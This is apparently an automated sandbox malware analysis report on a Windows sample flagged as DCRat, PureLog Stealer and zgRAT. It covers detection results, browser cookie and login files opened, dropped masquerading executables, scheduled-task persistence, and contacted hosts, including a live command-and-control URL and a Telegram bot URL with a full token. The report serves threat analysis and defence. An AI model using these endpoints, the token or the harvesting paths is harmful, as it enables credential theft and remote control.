Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.fontdrvhost.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2112514278.000000000556C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2139475451.0000000000152000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2110949935.0000000006C2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\backgroundTaskHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\en-US\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Drivers\fontdrvhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: eP6sjvTqJa.exe, type: SAMPLE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.fontdrvhost.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\backgroundTaskHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\en-US\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Drivers\fontdrvhost.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 5.2.fontdrvhost.exe.128bc1d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.4579559349.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.4579559349.0000000002E14000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2222372567.00000000128A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 3084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AdbXCBUViTnoVBSsOq.exe PID: 7048, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: eP6sjvTqJa.exe, type: SAMPLE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.fontdrvhost.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2112514278.000000000556C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2139475451.0000000000152000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2110949935.0000000006C2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\backgroundTaskHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\en-US\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Drivers\fontdrvhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: eP6sjvTqJa.exe, type: SAMPLE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.55ba6f3.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.eP6sjvTqJa.exe.6c7d6f3.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.fontdrvhost.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\backgroundTaskHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\en-US\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Drivers\fontdrvhost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	137 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	13 Software Packing	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	243 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	11 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
eP6sjvTqJa.exe	60%	Virustotal		Browse
eP6sjvTqJa.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
eP6sjvTqJa.exe	100%	Avira	VBS/Runner.VPG
eP6sjvTqJa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\backgroundTaskHost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\PjHeJXVW.log	100%	Avira	TR/AVI.Agent.updqb
C:\Drivers\fontdrvhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Internet Explorer\en-US\conhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\lNXiOOwv.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\Desktop\rfCzNWvT.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\Desktop\beESemrN.log	100%	Avira	TR/AVI.Agent.updqb
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	100%	Joe Sandbox ML
C:\Users\user\backgroundTaskHost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\JRcNKQWy.log	100%	Joe Sandbox ML
C:\Drivers\fontdrvhost.exe	100%	Joe Sandbox ML
C:\Program Files\Internet Explorer\en-US\conhost.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\UXZdmUkL.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\lNXiOOwv.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\rWShinUN.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\rfCzNWvT.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\rFAHquBj.log	100%	Joe Sandbox ML
C:\Drivers\fontdrvhost.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Internet Explorer\en-US\conhost.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\AppData\Local\Microsoft\Windows\History\AdbXCBUViTnoVBSsOq.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\BoUXaXGR.log	4%	ReversingLabs
C:\Users\user\Desktop\JRcNKQWy.log	9%	ReversingLabs
C:\Users\user\Desktop\LtQnCbUd.log	4%	ReversingLabs
C:\Users\user\Desktop\OwXMDaSq.log	25%	ReversingLabs
C:\Users\user\Desktop\PjHeJXVW.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\SvkCuJlg.log	3%	ReversingLabs
C:\Users\user\Desktop\UXZdmUkL.log	9%	ReversingLabs
C:\Users\user\Desktop\beESemrN.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\crKSmbgv.log	25%	ReversingLabs
C:\Users\user\Desktop\lNXiOOwv.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\rFAHquBj.log	8%	ReversingLabs
C:\Users\user\Desktop\rWShinUN.log	8%	ReversingLabs
C:\Users\user\Desktop\rfCzNWvT.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\uNJXqjUH.log	3%	ReversingLabs
C:\Users\user\backgroundTaskHost.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Source	Detection	Scanner	Label
http://250345cm.renyash.ru/sqltemp.php	100%	Avira URL Cloud	malware
http://250345cm.reP2y	0%	Avira URL Cloud	safe
http://250345cm.renyash.ru/	100%	Avira URL Cloud	malware
http://250345cm.renyash.ruve	0%	Avira URL Cloud	safe
http://250345cm.reP	0%	Avira URL Cloud	safe
http://250345cm.renyash.ru	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ipinfo.io	34.117.59.81	true	false	high
api.telegram.org	149.154.167.220	true	false	high
250345cm.renyash.ru	104.21.38.84	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot8143016568:AAEvmfltzzwYHiQ7qyRFPs1EAB_RQhZk4kg/sendPhoto	false		high
http://250345cm.renyash.ru/sqltemp.php	true	Avira URL Cloud: malware	unknown
https://ipinfo.io/country	false		high
https://ipinfo.io/ip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://250345cm.renyash.ru	AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002D7E000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://duckduckgo.com/ac/?q=	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://api.telegram.org	fontdrvhost.exe, 00000005.00000002.2218593117.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://api.telegram.org/bot	fontdrvhost.exe, 00000005.00000002.2218252211.0000000000D22000.00000002.00000001.01000000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp, BoUXaXGR.log.5.dr, LtQnCbUd.log.24.dr	false		high
http://ipinfo.io	fontdrvhost.exe, 00000005.00000002.2218593117.00000000030FE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://250345cm.renyash.ru/	AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://250345cm.renyash.ruve	AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://www.ecosia.org/newtab/	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
http://250345cm.reP2y	AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	4lvmN5MENl.24.dr	false		high
https://api.telegram.org/bot8143016568:AAEvmfltzzwYHiQ7qyRFPs1EAB_RQhZk4kg/sendPhotoX	fontdrvhost.exe, 00000005.00000002.2218593117.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefox	AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002B5E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io	fontdrvhost.exe, 00000005.00000002.2218593117.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, fontdrvhost.exe, 00000005.00000002.2218593117.0000000002987000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	4lvmN5MENl.24.dr	false		high
http://250345cm.reP	AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high
https://support.mozilla.org	4lvmN5MENl.24.dr	false		high
http://api.telegram.org	fontdrvhost.exe, 00000005.00000002.2218593117.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	fontdrvhost.exe, 00000005.00000002.2218593117.0000000002987000.00000004.00000800.00020000.00000000.sdmp, AdbXCBUViTnoVBSsOq.exe, 00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	VHGrIJe2oz.24.dr, EwZcSaKyVq.24.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.38.84	250345cm.renyash.ru	United States	13335	CLOUDFLARENETUS	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583030
Start date and time:	2025-01-01 16:01:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	eP6sjvTqJa.exe renamed because original name is a hash value
Original Sample Name:	f0944c44a97161524ce95c9f8a2629f9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/51@3/3
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, e16604.g.akamaiedge.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target AdbXCBUViTnoVBSsOq.exe, PID 1016 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 3084 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 4328 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 6528 because it is empty
Execution Graph export aborted for target fontdrvhost.exe, PID 7192 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:02:08	API Interceptor	30x Sleep call for process: fontdrvhost.exe modified
10:02:15	API Interceptor	13207490x Sleep call for process: AdbXCBUViTnoVBSsOq.exe modified
16:02:07	Task Scheduler	Run new task: AdbXCBUViTnoVBSsOq path: "C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe"
16:02:08	Task Scheduler	Run new task: AdbXCBUViTnoVBSsOqA path: "C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe"
16:02:08	Task Scheduler	Run new task: backgroundTaskHost path: "C:\Users\user\backgroundTaskHost.exe"
16:02:08	Task Scheduler	Run new task: backgroundTaskHostb path: "C:\Users\user\backgroundTaskHost.exe"
16:02:08	Task Scheduler	Run new task: conhost path: "C:\Program Files\Internet Explorer\en-US\conhost.exe"
16:02:08	Task Scheduler	Run new task: conhostc path: "C:\Program Files\Internet Explorer\en-US\conhost.exe"
16:02:08	Task Scheduler	Run new task: fontdrvhost path: "C:\Drivers\fontdrvhost.exe"
16:02:08	Task Scheduler	Run new task: fontdrvhostf path: "C:\Drivers\fontdrvhost.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	XClient.exe	Get hash	malicious	XWorm	Browse
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	iviewers.dll	Get hash	malicious	LummaC	Browse
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
